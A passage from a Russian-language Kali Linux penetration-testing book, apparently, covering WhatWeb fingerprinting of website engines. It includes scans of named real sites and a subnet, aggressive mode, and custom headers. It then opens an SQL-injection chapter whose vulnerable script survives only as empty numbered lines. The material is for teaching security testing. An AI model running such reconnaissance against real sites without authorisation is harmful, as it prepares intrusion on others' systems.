лицензии — лишь бы скрыть движок и его версию). Чтобы узнать информацию о нём я
набираю:
1|

whatweb http://www1.hut.ru/forum/

Где whatweb — имя программы,
а http://www1.hut.ru/forum/ — адрес интересующего нас сайта.

Информации много, в том числе и требуемая нам:
1|

PoweredBy[phpBB]

2|

phpBB[2]

Т.е. форум работает на движке phpBB второй версии.
Кроме этого, мы узнаём версию PHP, веб-сервера, IP адрес и страну расположения,
используемые веб-технологии и даже информацию о логине в Google AdSense.
Согласитесь, начало хорошее.
Возьмём другой пример:
1|

whatweb webware.biz

Опять, информации много и она достоверна.
По материалам сайта WebWare.biz

204

Тестирование на проникновение с помощью Kali Linux 2.0

В справке программы WhatWeb упоминается про агрессивный режим — для
определения точной версии WordPress, запускается он так:
1|

whatweb -a 3 webware.biz

Можно проверять по нескольку сайтов за один раз:
1|

whatweb webware.biz zalinux.ru mi-al.ru

Не смотря на свою кажущуюся простоту, справка WhatWeb довольно обширна.
Программу можно запускать не только в отношении сайта, но и в отношении подсетей
(синтаксис указания диапазонов сетей такой же как и у Nmap):
1|

whatweb 185.26.122.0/24

Опции программы WhatWeb
Рассмотрим самые интересные опции.
—input-file=ФАЙЛ, -i Идентифицировать URL, которые найдены в ФАЙЛе, например -i
/dev/stdin
Думаю, вы уже догадались что эта опция в таком виде позволяет передавать в
WhatWeb адреса сайтов по трубе:
1|

echo 'webware.biz' | whatweb -i /dev/stdin

Это мегополезно при написании скриптов.
—aggression, -a=УРОВЕНЬ
УРОВЕНЬ задаётся числами 1, 3 или 4.
1 — сканировать незаметно, 3 — сканировать агрессивно, 4 — сканировать тяжело,
будут отправлены запросы от всех плагинов.

По материалам сайта WebWare.biz

205

Тестирование на проникновение с помощью Kali Linux 2.0

—user-agent, -U=АГЕНТ По умолчанию пользовательский агент — WhatWeb/0.4.8-dev.
Этой опцией его можно заменить
—header, -H Добавить заголовок HTTP. например "Foo:Bar". Если задан здесь, то
заголовок по умолчанию будет заменён. Если задать пустую величину, например,
"User-Agent:", то заголовок будет удалён.
—follow-redirect=КОГДА Контролирует когда следовать редиректом. КОГДА может
иметь значения `never', `http-only', `meta-only', `same-site', `same-domain' или `always'.
По умолчанию: always
—max-redirects=ЧИСЛО Максимальное ЧИСЛО редиректов. По умолчанию: 10
В WhatWeb поддерживается базовая авторизация:
—user, -u=
Добавьте сессионные кукиз —header, например, —header "Cookie: SESSID=1a2b3c;"
Можно использовать прокси с WhatWeb:
—proxy Задать хост и порт прокси. Порт по умолчанию: 8080
—proxy-user Задать пользователя и пароль прокси
WhatWeb поддерживает разнообразные способы сохранения полученных данных, а
также позволяет менять настройки производительности/стабильности: число
одновременных потоков, таймауты, время перерывов и т. д.

Как узнать точную версию движка
Узнав используемый тип движка, можно скачать его исходные коды (доступны для всех
бесплатных) и поискать там разнообразные файлы README.TXT, чейнджлоги и т. п.
Практически никто не беспокоится о том, чтобы удалить эти файлы. Поэтому теперь,
когда вы знаете, что нужно искать, можно попробовать их найти на целевом сайте.

Как скрыть движок сайта и его версию
Скрыть вид используемого движка очень непросто. Зачастую не нужно быть
специалистом и не нужно иметь никаких программ, чтобы по первому взгляду на сайт
предположить используемый движок, иногда достаточно увидеть адрес одной
страницы, чтобы предположить, какой движок сайт использует. Вот типичный
пример: на "морде" сайта вырезаны все упоминания об используемом движке, но
взглянув на исходный код HTML-страницы, догадайтесь с трёх раз, какой движок
используется:

Даже если полностью изменено оформление, убраны копирайты и прочее, то по
структуре файлов сайта и по некоторым другим признакам довольно легко определить
популярные движки.
По материалам сайта WebWare.biz

206

Тестирование на проникновение с помощью Kali Linux 2.0

Продуктивнее не пытаться спрятать эту информацию, а вовремя обновлять
программное обеспечение и плагины.
Что касается точной версии, то её можно скрыть. Удаляйте не используемые файлы
(README.TXT, чейнджлоги и т. п.). Например, для WordPress удаляйте эти файлы не
только из корневой директории, но и из директорий плагинов, тем и т.д.

Глава 34. SQL-инъекции: простое объяснение для начинающих
(часть 1)
Суть SQL-инъекций
Наверное, уже слышали шутку из Интернета: «Почему во всех уроках рисования одно и
тоже: Например, урок по рисованию совы. Сначала полчаса долго в деталях рисуем
глаз совы. А потом — раз — за пять минут — рисуем оставшуюся часть совы».
Вот даже картинка по этому поводу есть:

По SQL-инжектам материала море: статьи, книги, видеокурсы (платные и бесплатные).
При этом не многие из них прибавляют понимания по этому вопросу. Особенно если
вы новичок. Я хорошо помню свои ощущения: вот он кружок, вот он остаток совы…
Цель этой заметки — натянуть глаз на сову дать нормальное просто объяснение, что же
такое SQL-инъекции, в чём заключается их суть, насколько и почему они опасны.
Для опытов, у нас будет очень простой и уязвимый к SQL-инъекции скрипт:
1|



2|



3|



4|



5|



6|



7|



8|

Для доступа к Бобруйской районной библиотеке введите Ваши
данные:

По материалам сайта WebWare.biz

учётные

207

Тестирование на проникновение с помощью Kali Linux 2.0

9|



10|

Введите ваше имя

11|



12|

Введите ваш пароль

13|



14|



15|



16|